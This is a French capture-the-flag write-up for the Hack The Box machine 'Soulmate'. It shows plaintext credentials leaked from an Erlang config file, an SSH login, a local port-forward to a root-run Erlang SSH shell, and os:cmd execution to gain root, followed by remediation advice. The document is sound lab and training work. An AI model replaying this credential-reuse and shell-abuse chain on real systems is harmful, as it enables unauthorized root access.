Hack The Box — Soulmate (Linux) Write-Up : Fuite de configuration Erlang → RCE via Shell SSH Erlang local
TL;DR
Sur Soulmate, l'accès initial est obtenu grâce à une fuite d'identifiants en clair dans un fichier de configuration Erlang. Cela permet de se connecter en SSH en tant que ben. L'élévation s'appuie sur un service SSH Erlang interne écoutant sur le port 2222 en local. Un tunnel SSH permet d'interagir avec le shell Erlang s'exécutant en root.
Cible
- Host :
soulmate.htb - IP :
10.129.231.23
Recon : Fuite de configuration
Le scan de répertoires web révèle le fichier /usr/local/lib/erlang_login/start.escript qui contient :
{user_passwords, [{"ben", "HouseH0ldings998"}]},Accès Initial : Connexion SSH
Nous utilisons les identifiants récupérés pour nous connecter en SSH :
- Utilisateur :
ben - Mot de passe :
HouseH0ldings998
Élévation de privilèges : Service SSH Erlang
En inspectant les ports locaux (ss -tuln), nous découvrons un service Erlang SSH sur le port 2222.
Nous créons un tunnel SSH :
ssh -L 9999:127.0.0.1:2222 ben@10.129.231.23Nous nous connectons au port redirigé :
ssh -p 9999 ben@127.0.0.1Dans la console Erlang, nous exécutons :
os:cmd("id").Le service s'exécute en tant que root, nous donnant un accès total.
Notes défensives / remédiation
Correctif
- Supprimer les identifiants en clair des dépôts ou répertoires publics.
- Désactiver ou sécuriser les interfaces de débogage Erlang écoutant en local.
Annexe : Résumé de la timeline
- Scan web et fuite du script d'initialisation.
- Connexion SSH avec l'utilisateur
ben. - Redirection de port vers l'interface Erlang locale (port 2222).
- Commande d'exécution Erlang pour récupérer root.